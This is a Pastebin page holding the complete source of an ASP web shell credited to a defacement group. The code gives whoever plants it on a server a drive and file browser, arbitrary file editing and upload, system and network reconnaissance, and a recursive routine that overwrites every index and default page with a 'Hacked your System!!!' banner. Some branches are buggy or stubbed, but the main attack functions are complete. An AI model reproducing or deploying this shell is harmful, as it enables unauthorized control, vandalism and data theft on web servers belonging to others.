API tools faq
paste
Advertisement
TrojanSpot

Asp WebShell | www.pemula.info

TrojanSpot
Sep 20th, 2012
176
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 25.21 KB | None | 0 0
raw download clone embed print report
  1. <%
  2. On Error Resume Next
  3.     Set Objeto=Server.CreateObject("Scripting.FileSystemObject")
  4. If request("path") <> "" then
  5.     Set ObjPasta = Objeto.GetFolder(request("path"))
  6. Else
  7.     if request("t5") <> "" then
  8.         Set ObjPasta = Objeto.GetFolder(request("t5"))
  9.     Else
  10.         Set ObjPasta = Objeto.GetFolder(server.mappath("."))
  11.     end if
  12. End If 
  13.  
  14.     If Trim(Request.QueryString("path")) = "" Then
  15.             caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
  16.             pos = Instr(caminho,"\")
  17.             pos2 = 1
  18.             While pos2 <> 0
  19.                 If Instr(pos + 1,caminho,"\") <> 0 Then
  20.                     pos = Instr(pos + 1,caminho,"\")
  21.                 Else
  22.                     pos2 = 0
  23.                 End If
  24.             Wend
  25.             path = Left(caminho,pos)
  26.         Else
  27.             path =  trim(Request.QueryString("path")) & "\"
  28.         End If
  29.        
  30. pagename = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME")))
  31.  
  32. Function functionfooter
  33.     response.write "<br><hr><font face='Fixedsys'><p align='center'><font color='#FF0000'> / </font>"
  34.     response.write "<a href='javascript:history.go(-1)'>"
  35.     response.write "<font color='#000080'> Voltar </a></font><font color='#FF0000'> / </font>"
  36.     response.write "<a href='" & pagename & "'>"
  37.     response.write "<font color='#000080'> Home </a></font>"
  38.     response.write "<font color='#FF0000'> / </font>"
  39.     response.write "<hr><font color='#000080' size='1'><br> MuslimCyberForce [ Shell ]</font></b></font></p>"
  40. End Function
  41.  
  42. %>
  43. <html>
  44.  
  45. <head>
  46. <title>Shell by MCF - MuslimCyberForce</title>
  47. <style>
  48. body{
  49. scrollbar-arrow-color: #BFBFBF;
  50. scrollbar-3dlight-color: #FFFFFF;
  51. scrollbar-highlight-color: #9F9F9F;
  52. scrollbar-face-color: #FFFFFF;
  53. scrollbar-shadow-color: #C0C0C0;
  54. scrollbar-darkshadow-color: #FFFFFF;
  55. scrollbar-track-color: #C0C0C0;}
  56. </style>
  57. </head>
  58.  
  59. <body bgcolor="#E4E4E4" text="#808080" leftMargin="0" topMargin="0">
  60.  
  61. <center>
  62. <p><font color="#000080" size="4">shell ASP MAS Defaced Created by<br>
  63. [MuslimCyberForce]<br>
  64. </font><font color="#000080">By d00m = )</font></p>
  65. <hr>
  66. <p><font face="Fixedsys" color="#000080">
  67. <a href="<%=pagename%>" style="text-decoration: none">
  68. <font color="#000080">Hyrja</font></a></font><font face="Fixedsys" color="#FF0000">
  69. / </font><font face="Fixedsys" color="#000080">
  70. <a href="<%=pagename%>?status=1" style="text-decoration: none">
  71. <font color="#000080">Beje Deface</font></a></font><font face="Fixedsys" color="#FF0000">
  72. / </font><font face="Fixedsys" color="#000080">
  73. <a href="<%=pagename%>?status=2" style="text-decoration: none">
  74. <font color="#000080">Info te Sistemit</font></a></font></u><font face="Fixedsys" color="#000080">
  75. </font><font face="Fixedsys" color="#FF0000">/ </font>
  76. <a href="<%=pagename%>?status=3" style="text-decoration: none">
  77. <font face="Fixedsys" color="#000080">Uploado</font></u></span><font face="Fixedsys" color="#000080">
  78. </font></a><font face="Fixedsys" color="#FF0000">/ </font>
  79. <a href="<%=pagename%>?status=4" style="text-decoration: none">
  80. <font face="Fixedsys" color="#000080">Beje Spammer</font></u></span><font face="Fixedsys" color="#000080">
  81. </font></a><font face="Fixedsys" color="#FF0000">/ </font>
  82. <a style="text-decoration: none" href="<%=pagename%>?status=6">
  83. <font face="Fixedsys" color="#000080">Database</font></u></span><font face="Fixedsys" color="#000080">
  84. </font></a><font face="Fixedsys" color="#FF0000">/ </font>
  85. <a href="<%=pagename%>?status=5" style="text-decoration: none">
  86. <font face="Fixedsys" color="#000080">Info / Kontakto</font></a></p>
  87. </center><font face="Fixedsys" color="#000000"><hr></font><center><%
  88. r_status = Request.QueryString("status")
  89. SELECT CASE r_status
  90.     CASE "1" 'Beje Deface
  91.     %> <b><font color="#000080" face="Tahoma">MASS&nbsp; DEFACED<br>
  92. &nbsp;</font></b><form method="POST" action="<%=pagename%>?status=f1">
  93.   <font face="Tahoma">
  94.   <font color="#000080">Voce est? em<font size="2">:</font></font></font></font><font color="#FF0000" face="Tahoma" size="2">
  95.   <%=server.mappath(pagename)%></font><font color="#000000" face="Tahoma" size="2">
  96.   <br>
  97.   <br>
  98.   </font><font color="#000080" face="Tahoma">Caminho: </font>
  99.   <font face="Tahoma">
  100.   <input type="text" name="T3" size="44" style="font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666" value="<%=server.mappath("\")%>">
  101.   <br>
  102.   </font>
  103.   <b><font size="2" face="Tahoma"><br>
  104.   </font></b><font face="Tahoma"><b>
  105.   <textarea rows="15" name="T4" cols="120" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #C0C0C0">&lt;title&gt; [ RitualistaS GrouP ] &lt;title&gt;
  106. &lt;p align=&quot;center&quot;&gt;&lt;b&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Courier New&quot; size=&quot;6&quot;&gt;
  107. [ RitualistaS GrouP ]&lt;br&gt;
  108.  &lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
  109. &lt;p align=&quot;center&quot;&gt;&lt;b&gt;&lt;font face=&quot;Courier New&quot; size=&quot;4&quot; color=&quot;#808080&quot;&gt;
  110. Hacked your System!!!&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
  111. &lt;p align=&quot;center&quot;&gt;&lt;b&gt;&lt;font face=&quot;Courier New&quot; size=&quot;4&quot; color=&quot;#808080&quot;&gt;
  112. The world isn&#39;t insurance!!!&lt;br&gt;
  113. &lt;br&gt;
  114. For a better world&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
  115. &lt;p align=&quot;center&quot;&gt;&lt;/p&gt;
  116. &lt;p align=&quot;center&quot;&gt;&lt;/p&gt;
  117. &lt;p align=&quot;center&quot;&gt;&lt;/p&gt;
  118. &lt;p align=&quot;center&quot;&gt;&lt;b&gt;&lt;font face=&quot;Courier New&quot; size=&quot;4&quot; color=&quot;#808080&quot;&gt;
  119. Cast. AcidMuD - DarkSpyrit - Mental_Way&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
  120. &lt;p align=&quot;center&quot;&gt;&lt;/p&gt;</textarea> </b>&nbsp;<br>
  121.   <br>
  122.   <b><font color="#000080">Personalizaç?o de p?ginas:</font></b><br>
  123.   <br>
  124.   Page 1: </font>
  125.   <input type="text" name="P1" size="18" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666"><font face="Tahoma">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  126.   Page 2: </font>
  127.   <input type="text" name="P2" size="18" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666"><p>
  128.   <font face="Tahoma">
  129.   <br>
  130.   </font>
  131.   <input type="submit" value="Mass Defaced" name="B1" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: #C0C0C0"><font face="Tahoma">
  132.   <br>
  133.   <br>
  134.   OBS* Caso n?o seja preenchida a personalizaç?o de p?ginas, o a tools usar?
  135.   como padr?o as seguintes pages:<br>
  136.   index.html, index.htm, index.asp, defaul.html, default.htm, default.asp.</font></p>
  137. </form>
  138. <%
  139.     Response.Write FunctionFooter
  140.    
  141.     CASE "2" 'Informç?es do sistema
  142.  
  143. Dim arrListaComponentes(47)
  144.  
  145. arrListaComponentes(0)  = Array( "AB Mailer","ABMailer.Mailman" )
  146. arrListaComponentes(1)  = Array( "ABC Upload","ABCUpload4.XForm" )
  147. arrListaComponentes(2)  = Array( "ActiveFile","ActiveFile.Post" )
  148. arrListaComponentes(3)  = Array( "ActiveX Data Object","ADODB.Connection" )
  149. arrListaComponentes(4)  = Array( "Adiscon SimpleMail","ADISCON.SimpleMail.1" )
  150. arrListaComponentes(5)  = Array( "ASP DNS", "AspDNS.Lookup" )
  151. arrListaComponentes(6)  = Array( "ASP HTTP","AspHTTP.Conn" )
  152. arrListaComponentes(7)  = Array( "ASP Image","AspImage.Image" )
  153. arrListaComponentes(8)  = Array( "ASP Mail","SMTPsvg.Mailer" )
  154. arrListaComponentes(9)  = Array( "ASP NNTP News", "AspNNTP.Conn" )
  155. arrListaComponentes(10) = Array( "ASP POP 3", "POP3svg.Mailer" )
  156. arrListaComponentes(11) = Array( "ASP Simple Upload","ASPSimpleUpload.Upload" )
  157. arrListaComponentes(12) = Array( "ASP Smart Cache","aspSmartCache.SmartCache" )
  158. arrListaComponentes(13) = Array( "ASP Smart Mail","aspSmartMail.SmartMail" )
  159. arrListaComponentes(14) = Array( "ASP Smart Upload","aspSmartUpload.SmartUpload" )
  160. arrListaComponentes(15) = Array( "ASP Tear","SOFTWING.ASPtear" )
  161. arrListaComponentes(16) = Array( "ASP Thumbnailer","ASPThumbnailer.Thumbnail" )
  162. arrListaComponentes(17) = Array( "ASP WhoIs","WhoIs2.WhoIs" )
  163. arrListaComponentes(18) = Array( "ASPSoft NT Object","ASPSoft.NT" )
  164. arrListaComponentes(19) = Array( "ASPSoft Upload","ASPSoft.Upload" )
  165. arrListaComponentes(20) = Array( "CDO NTS","CDONTS.NewMail" )
  166. arrListaComponentes(21) = Array( "Chestysoft Image","csImageFile.Manage" )
  167. arrListaComponentes(22) = Array( "Chestysoft Upload","csASPUpload.Process" )
  168. arrListaComponentes(23) = Array( "Dimac JMail","JMail.Message" )
  169. arrListaComponentes(24) = Array( "Distinct SMTP","DistinctServerSmtp.SmtpCtrl" )
  170. arrListaComponentes(25) = Array( "Dundas Mailer","Dundas.Mailer" )
  171. arrListaComponentes(26) = Array( "Dundas Upload","Dundas.Upload.2" )
  172. arrListaComponentes(27) = Array( "Dundas PieChartServer", "Dundas.ChartServer.2")
  173. arrListaComponentes(28) = Array( "Dundas 2D Chart", "Dundas.ChartServer2D.1")
  174. arrListaComponentes(29) = Array( "Dundas 3D Chart", "Dundas.ChartServer")
  175. arrListaComponentes(30) = Array( "Dynu Encrypt","Dynu.Encrypt" )
  176. arrListaComponentes(31) = Array( "Dynu HTTP","Dynu.HTTP" )
  177. arrListaComponentes(32) = Array( "Dynu Mail","Dynu.Email" )
  178. arrListaComponentes(33) = Array( "Dynu Upload","Dynu.Upload" )
  179. arrListaComponentes(34) = Array( "Dynu WhoIs","Dynu.Whois" )
  180. arrListaComponentes(35) = Array( "Easy Mail","EasyMail.SMTP.5" )
  181. arrListaComponentes(36) = Array( "File System Object","Scripting.FileSystemObject" )
  182. arrListaComponentes(37) = Array( "Ticluse Teknologi HTTP","InteliSource.Online" )
  183. arrListaComponentes(38) = Array( "Last Mod","LastMod.FileObj" )
  184. arrListaComponentes(39) = Array( "Microsoft XML Engine","Microsoft.XMLDOM" )
  185. arrListaComponentes(40) = Array( "Persits ASP JPEG","Persits.Jpeg" )
  186. arrListaComponentes(41) = Array( "Persits ASPEmail","Persits.MailSender" )
  187. arrListaComponentes(42) = Array( "Persits ASPEncrypt","Persits.CryptoManager" )
  188. arrListaComponentes(43) = Array( "Persits File Upload","Persits.Upload.1" )
  189. arrListaComponentes(44) = Array( "SMTP Mailer","SmtpMail.SmtpMail.1" )
  190. arrListaComponentes(45) = Array( "Soft Artisans File Upload","SoftArtisans.FileUp" )
  191. arrListaComponentes(46) = Array( "Image Size", "ImgSize.Check" )
  192. arrListaComponentes(47) = Array( "Microsoft XML HTTP", "Microsoft.XMLHTTP" )
  193.  
  194. Response.Write "<b></font><font color='#000080'><p align='center'><br>INFORMAC?ES DOS COMPONENTES<br><b></font>"
  195.  
  196. Response.Write "<br>Testando atualmente " & UBound(arrListaComponentes) + 1 & " componentes. <br> O processo pode demorar ...<br></font><br><p align='left'>"
  197.  
  198.  
  199. ' Rotina que verifica o componente do array é um objeto.
  200. Function VerificaObjeto(pComponente)
  201. Dim objComponente
  202.  On Error Resume Next
  203.  VerificaObjeto = False
  204.  Err.Clear
  205.  Set objComponente = Server.CreateObject(pComponente)
  206.  If Err = 0 Then VerificaObjeto = True
  207.  Set objComponente = Nothing
  208.  Err.Clear
  209. End Function
  210.  
  211. Public Function VerificaComponentes()
  212. Dim intCont, strTxt
  213. Dim intIndex, strProv
  214.  
  215. intCont = 0
  216.  strTxt = "<table border='1' bordercolor='black' cellspacing='0' cellpadding='0' align='center' width='400'>"
  217.  For intIndex = LBound(arrListaComponentes) To UBound(arrListaComponentes)
  218.   strProv = intIndex
  219.   strTxt = strTxt & "<tr><td width='200'><font face='tahoma' size='3'>:: " & arrListaComponentes(intIndex)(0) & "</font></td>"
  220.   If VerificaObjeto(arrListaComponentes(intIndex)(1)) Then
  221.     strTxt = strTxt & "<td align=center><font color='red' face='tahoma' size='3'>< Instalado ></font></td>"
  222.     intCont = intCont + 1
  223.   Else
  224.     strTxt = strTxt & "<td align='center'><font face='tahoma' size='3'>N?o Instalado</font></td>"
  225.   End If
  226.   strTxt = strTxt & "</tr>"
  227.  Next
  228.  strTxt = strTxt & "</table><br><p align='center'><font face='tahoma' size='3'><b> Somente " & intCont & "</b> componentes instalados de "
  229.  strTxt = strTxt & "<b>" & UBound(arrListaComponentes) + 1 & "</b> testados.</font> </p>"
  230.  VerificaComponentes = strTxt
  231. End Function
  232.  
  233.     Response.Write VerificaComponentes
  234.  
  235.         Response.Write "<b><font color='#000080'>INFORMAC?ES DO SISTEMA<br></font>"
  236.         checa = checking(cprthtml,keydec)
  237.         Call hdr()
  238.         Response.Write copyright & onlinehelp
  239.         Set WshNetwork = Server.CreateObject("WScript.Network")
  240.         Set WshShell = Server.CreateObject("WScript.Shell")
  241.         Set WshEnv = WshShell.Environment("SYSTEM")
  242.         Response.Write "<br><font size='3'<p align='left'>"
  243.         Response.Write "IDENTIFICAC?O DE REDE:<br>"
  244.         Response.Write "Usu?rio: " & WshNetwork.UserName & "<br>"
  245.         Response.Write "Nome do Computador: " & WshNetwork.ComputerName & "<br>"
  246.         Response.Write "Usu?rio do Dom?nio: " & WshNetwork.UserDomain & "<br>"
  247.         Set Drives = WshNetwork.EnumNetworkDrives
  248.         For i = 0 to Drives.Count - 1
  249.             Response.Write "Drive de Rede (Mapeado): " & Drives.Item(i) & "<br>"
  250.         Next
  251.         Response.Write "<br>F?SICO:<br>"
  252.         Response.Write "Arquitetura do Processador: " & WshEnv("PROCESSOR_ARCHITECTURE") & "<br>"
  253.         Response.Write "N?mero de Processadores: " & WshEnv("NUMBER_OF_PROCESSORS") & "<br>"
  254.         Response.Write "Identificador do Processador: " & WshEnv("PROCESSOR_IDENTIFIER") & "<br>"
  255.         Response.Write "N?vel do Processador: " & WshEnv("PROCESSOR_LEVEL") & "<br>"
  256.         Response.Write "Revis?o do Processador: " & WshEnv("PROCESSOR_REVISION") & "<br>"
  257.         Response.Write "<b>L?GICO:</b><br>"
  258.         Response.Write "IP: " & request.servervariables("LOCAL_ADDR") & "<br>"
  259.         Response.Write "Sistema Operacional: " & WshEnv("OS") & "<br>"
  260.         Response.Write "Servidor Web: " & request.servervariables("SERVER_SOFTWARE") & "<br>"
  261.         Response.Write "Especificaç?o do Command: " & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "<br>"
  262.         Response.Write "Caminhos no Path: " & WshEnv("PATH") & "<br>"
  263.         Response.Write "Execut?veis: " & WshEnv("PATHEXT") & "<br>"
  264.         Response.Write "Prompt: " & WshEnv("PROMPT") & "<br>"
  265.         Response.Write "System Drive: " & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "<br>"
  266.         Response.Write "System Root: " & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "<br>"
  267.         Response.Write "Caminho do System32: " & WshShell.CurrentDirectory & "<br></font></table>"
  268.         Set Drives = Nothing
  269.         Set WshNetwork = Nothing
  270.         Set WshShell = Nothing
  271.         Set WshEnv = Nothing
  272.  
  273.  
  274.  
  275. Response.Write "<b></font><font color='#000080'><br><br><p align='center'><br><br>OUTRAS INFORMAC?ES<br><b></font>"
  276. Response.Write "<textarea rows='19' name='inf1' cols='167' style='font-family: Tahoma; font-size: 8pt; color: #666666; border: 1px solid #808080; background-color: #C0C0C0'>"
  277. for each thing in request.servervariables
  278. tempvalue=request.servervariables(thing)
  279. response.write thing & "=" & tempvalue
  280. %>
  281. <font face="Tahoma">
  282. <br>
  283. <%
  284. next
  285.  
  286. %>
  287. </textarea></font></p><font face="Tahoma"><br>
  288. <%
  289.   Response.Write FunctionFooter
  290.  
  291.     CASE "3" 'Uploader
  292.         %> </font>
  293. <form method="POST" enctype="multipart/form-data" action="<%=pagename%>?status=f2">
  294.   <font face="Tahoma">
  295.   <b><font color="#000080">Upload de arquivos:</font><br>
  296.   <br>
  297.   </b>
  298.   </font>
  299.   <input type="FILE" size="40" name="FILE1" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: #C0C0C0"><font face="Tahoma"><br>
  300.   <br>
  301.   <font color="#FF0000">Obs: O tamanho m?ximo permitido para o envio de arquivos
  302.   é 30 mb.</font><br>
  303.   <br>
  304.   </font>
  305.   <input type="submit" value="Uploader!!!" name="upload" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: #C0C0C0; float:right"><font face="Tahoma"><br>
  306. &nbsp;</font></form>
  307. <%
  308.    
  309. Response.Write FunctionFooter
  310.  
  311. CASE "4" 'Spammer
  312.         Response.Write "Local do Spammer"
  313.    
  314.  
  315. CASE "5" 'Info
  316.  
  317.     Response.Write "Aqui abrir? o Informaç?es adicionais"
  318.  
  319.  
  320. CASE "6" 'Form Procurar MDB
  321.  
  322.  
  323. Case "f6" 'Funç?o Procura MDBS
  324.  
  325.             caminho=request("T5")
  326.             On Error Resume Next
  327.             Set MonRep = ObjFSO.GetFolder(caminho)
  328.             Set ColFolders = MonRep.SubFolders
  329.             for each folderItem in ColFolders
  330.  
  331.                 folderItem.path
  332.  
  333.              caminho= folderItem.path & "\"
  334.            
  335.             next
  336.  
  337. CASE "f1" 'Funç?o Mass deface
  338.    
  339.     Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  340.     patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
  341.     arquivomassdfc = patharquivotxt & "teste.txt"
  342.     Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False)
  343.     vetordelinhas = Split(Request.Form("T4"),VbCrLf)
  344.     For i = 0 To UBound(vetordelinhas)
  345.         Arquivotxt.WriteLine(vetordelinhas(i))
  346.     Next
  347.     Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc)
  348.    
  349.     caminho=request("T3")
  350.    
  351.     Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo)
  352.    
  353.     Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo)
  354.             On Error Resume Next
  355.             Set MonRep = ObjFSO.GetFolder(caminhodomass)
  356.             Set ColFolders = MonRep.SubFolders
  357.             for each folderItem in ColFolders
  358.                 destino1 = folderItem.path & "\index.htm"
  359.                 destino2 = folderItem.path & "\index.html"
  360.                 destino3 = folderItem.path & "\index.asp"
  361.                 destino4 = folderItem.path & "\index.cfm"
  362.                 destino5 = folderItem.path & "\index.php"
  363.                 destino6 = folderItem.path & "\default.htm"
  364.                 destino7 = folderItem.path & "\default.html"
  365.                 destino8 = folderItem.path & "\default.asp"
  366.                 destino9 = folderItem.path & "\default.cfm"
  367.                 destino10 = folderItem.path & "\default.php"
  368.                     If request("P1") <> "" then
  369.                         personal1 = request("P1")
  370.                         destino11 = folderItem.path & "\" & personal1
  371.                         MeuArquivo.Copy(destino11)
  372.                     End If
  373.                     If request("P2") <> "" then
  374.                         personal2 = request("P2")
  375.                         destino12 = folderItem.path & "\" & personal2
  376.                         MeuArquivo.Copy(destino12)
  377.                     End If
  378.                 MeuArquivo.Copy(destino1)
  379.                 MeuArquivo.Copy(destino2)
  380.                 MeuArquivo.Copy(destino3)
  381.                 MeuArquivo.Copy(destino4)
  382.                 MeuArquivo.Copy(destino5)
  383.                 MeuArquivo.Copy(destino6)
  384.                 MeuArquivo.Copy(destino7)
  385.                 MeuArquivo.Copy(destino8)
  386.                 MeuArquivo.Copy(destino9)
  387.                 MeuArquivo.Copy(destino10)
  388.                 Response.Write "<table><tr><td><font face='Tahoma' size='2'>" & folderItem.path & "</td><br>"
  389.                 If Err.Number = 0 Then
  390.                     Response.Write "<td valign='baseline'><b><font face='Tahoma' size='2' color='blue'>DeFaCeD!!!</font><b></td></tr>"
  391.                 Else
  392.                     Response.Write "<td valign='baseline'><font face='Tahoma' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr></table>"
  393.                 End If
  394.                 Err.Number = 0
  395.                 Response.Flush
  396.                 If metodo = "brute" Then
  397.                     Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo)
  398.                 End If
  399.             next
  400.         End Sub
  401.  
  402.     Response.Write FunctionFooter
  403.  
  404. CASE "f2" 'Funcao uploader
  405. Set Upload = Server.CreateObject("Persits.Upload")
  406. ' Limita o tamanho do arquivo para 30000 bytes (3Mb) de tamanho e gera uma mensagem de erro se o arquivo for maior
  407. Upload.SetMaxSize 30000000, True
  408. ' Pula todas as mensagens de erro de servidor para a mensagem de erro personalizada
  409. On Error Resume Next
  410. ' Local a ser gravado o upload
  411. Upload.Save "E:\novosite\"
  412. ' 8 é o n?mero do erro que corresponde a "Arquivo grande demais"
  413. if Err.Number = 8 Then
  414. Response.Write "Seu arquivo é grande demais. Por favor use um arquivo menor."
  415. Else
  416. If Err <> 0 Then
  417. Response.Write "Um erro foi encontrado: " & Err.Description
  418. Else
  419. Response.Write "Upload realizado com sucesso!"
  420. End If
  421. End If
  422.  
  423. CASE "f3" ' Mostrar pagina
  424. %>
  425. <form method="POST" enctype="multipart/form-data" action="<%=pagename%>?status=f4&path=<%=request("path")%>">
  426.   <p align="center"><b><font face="Tahoma" color="#000080">VISUALIZAC?O DE ARQUIVOS</font><font face="Tahoma" size="2" color="#000000"><br>
  427.   </font></b><font color="#000080" face="Tahoma">Voce esta em:</font><font face="Tahoma" color="#FF0000">
  428.   <%=request("path")%> </font><b><font face="Tahoma" size="2" color="#000000">&nbsp;</font></b><font face="Tahoma"><b><font size="2"><%
  429. On Error Resume Next
  430. if request("path") <> "" then
  431.     var_caminho=request("path")
  432.     set ObjFso2=server.CreateObject("Scripting.FileSystemObject")
  433.     Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False)
  434. If ObjFso2=FileExists(var_caminho) = true then
  435.     Do While Not ObjAbreArq2.AtEndOfStream
  436.     Linha = Linha & ObjAbreArq2.Readline & chr(13)
  437.     Loop
  438.     Response.Write "<input type=hidden name=status value='11'>"
  439.     Response.Write "<textarea name=text rows=15 cols=120 style='font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #C0C0C0'>"
  440.     Response.Write server.HTMLEncode(linha)
  441.     Response.Write "</textarea>"
  442.     Response.Write "<br><input type=submit value=Salvar!!! style=font-family:Tahoma;font-size:8pt;color:#000000;border:1px solid #000080;background-color:#C0C0C0;float:center><br></form><center>"
  443.     Response.Write FunctionFooter
  444. Else Response.Write "<br> Caminho indicado inexistente... Por favor tente novamente"
  445. Response.Write FunctionFooter
  446. End If
  447. End IF
  448. %>
  449.   <script LANGUAGE="JavaScript">
  450. function file()
  451. {
  452. var ForAppending = 8;
  453. var TriStateFalse = 0;
  454. var fso = new ActiveXObject("Scripting.FileSystemObject");
  455. var newFile = fso.OpenTextFile("D:\asus\pw.txt", ForWriting, true, TriStateFalse);
  456. }
  457.   </script>
  458.   </font></b></font></p>
  459. </form>
  460. <%
  461. Case "f4" 'Salvar texto
  462. caminho=request("path")
  463.  set saveTextFile = objFSO.OpenTextFile(caminho,2,true,false)
  464.  Set f = fso.CreateTextFile(path)
  465.     saveTextFile.Write Request.Form("text")
  466.     saveTextFile.close
  467.     if err<>0 then
  468.         byMsg = "<font color=red>Arquivo n?o editado!</font><br>"
  469.         else
  470.         byMsg = "<font color=yellow>Arquivo editado com sucesso:)</font><br>"
  471.     end if
  472.     Response.Write byMsg
  473.     Response.Write FunctionFooter
  474.  
  475.  
  476. CASE default 'RESTO
  477. %>
  478. <font color="#000080">
  479. <form method="POST" action="<%=pagename%>">
  480. <%
  481.          dir=request("path")
  482.          If dir<>"" then
  483.          Response.Write "<p align=center>Voce esta em: </font><font color=#FF0000>" & dir
  484.          Else
  485.          Response.Write "<p align=center>Voce esta em: </font><font color=#FF0000>" & server.mappath(pagename)
  486.          end if
  487.         dir=nothing
  488. %>
  489.  
  490. <p align="center"><font size="2" color="#000080" face="Tahoma">Caminho:
  491. <b>
  492. <input type="text" size="44" name="T5" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666" value="<%
  493.          dir=request("path")
  494.          If dir<>"" then
  495.          Response.Write dir
  496.          Else
  497.          dual=Request("T5")
  498.          Response.Write dual
  499.          end if
  500.    %>"> </b></font>
  501. <input type="submit" value="| GO |" name="B13" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: #C0C0C0"><font face="Tahoma">
  502. <br></font></form>
  503. </p>
  504. <div align="center">
  505.   <p><font face="Tahoma"><%
  506.       DIM fs, d, dc, s, n, sp
  507.       Set fs=Server.Createobject("Scripting.FileSystemObject")
  508.       Set dc=fs.drives
  509. %> <%
  510.  On Error Resume Next
  511.     back1="#D3E2E7"
  512.     back2="#AFFEDE"
  513.     back=back2
  514.     Response.Write "<font color='#000080'>Discos Disponiveis:</font><br>"
  515.     FOR EACH d IN dc
  516.     IF (back=back2) THEN
  517.       back=back1
  518.     ELSE
  519.       back=back2
  520.     END IF
  521.     Response.Write "<u>|<a href=" & pagename & "?path=" & d.driveletter & ":\ style='text-decoration: none'> "
  522.     Response.write d.driveletter
  523.     Response.Write ": </a>|</u>"
  524.     next%> </font> </p>
  525.   <p></p>
  526.   <div align="center">
  527.     <div align="center">
  528.       <table border="1" cellpadding="0" cellspacing="0" width="90%" height="20" bgcolor="#C0C0C0" style="border-style:solid; border-width:1; border-collapse: collapse">
  529.         <tr>
  530.           <td width="27%" height="15" bgcolor="#808080">
  531.           <p align="center"><font size="2" color="#FFFFFF" face="Tahoma">Pastas</font></p>
  532.           </td>
  533.           <td width="73%" height="15" bgcolor="#808080">
  534.           <p align="center"><font face="Tahoma" color="#FFFFFF">Arquivos</font></p>
  535.           </td>
  536.         </tr>
  537.         <tr>
  538.           <td valign="top" width="27%" bgcolor="#C0C0C0" height="1">
  539.           <font color="#000000" face="Tahoma" size="2">
  540.     <%
  541.         If CInt(Len(path) - 1) <> 2 Then
  542.             barrapos = CInt(InstrRev(Left(path,Len(path) - 1),"\")) - 1
  543.             backlevel = Left(path,barrapos)
  544.             Response.Write "<font face='tahoma' color='#000080' size=2 ><p align=left>::-:|_| : <a href='" & Request.ServerVariables("SCRIPT_NAME") & "?path=" & backlevel & "'>. . .</a></font></b><br>"
  545.         End If
  546.  
  547.     On Error Resume Next
  548.     Old = ObjPasta
  549.     News = strReverse(old)
  550.     News = instr(News, "/")
  551.     Leng = Len(old) - News
  552.     Old = Left(Old, Leng)
  553.     q = 1
  554.     syco contador
  555.     contador=1
  556.     For each Pasta in ObjPasta.Subfolders
  557.     PastaName=Pasta.Name
  558.     q = q + 1
  559.     Response.Write "<font face='tahoma' color='#000080' size=2 ><p align=left>::-:|" & Contador & "| : <a href='" & pagename & "?path=" & Old & "\" & PastaName & "' style=text-decoration: none>" & PastaName & "</a></p></font>"
  560.     Contador=contador+1
  561.     Next
  562.     q = q - 1
  563.     %> <br>
  564.           <br>
  565.           </font></td>
  566.           <td valign="top" width="73%" bgcolor="#C0C0C0" height="1"><%
  567.      On Error Resume Next
  568.      syco contador
  569.      Old = ObjPasta
  570.      contador=1
  571.         For Each Arquivo in ObjPasta.Files
  572.             ArquivoNome=Arquivo.Name
  573.             Response.Write "<font face='tahoma' color='#000080' size=2>::-:|" & Contador & "| : <a href='" & pagename & "?status=f3&path=" & Old & "\" & ArquivoNome & "' style=text-decoration: none>"& ArquivoNome & "</a></p></font>"
  574.             contador=contador+1
  575.         next
  576.      %><font face="Tahoma"> </font> </td>
  577.           </td>
  578.         </tr>
  579.       </table>
  580.     </div>
  581.   </div>
  582.   </td>
  583.   </tr>
  584.   </table>
  585. </div>
  586. </div>
  587. </form>
  588. <font face="Tahoma">
  589. <br>
  590. </font>
  591. </font><font face="Tahoma"><%=Functionfooter%><%
  592. END SELECT
  593. %></font></body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!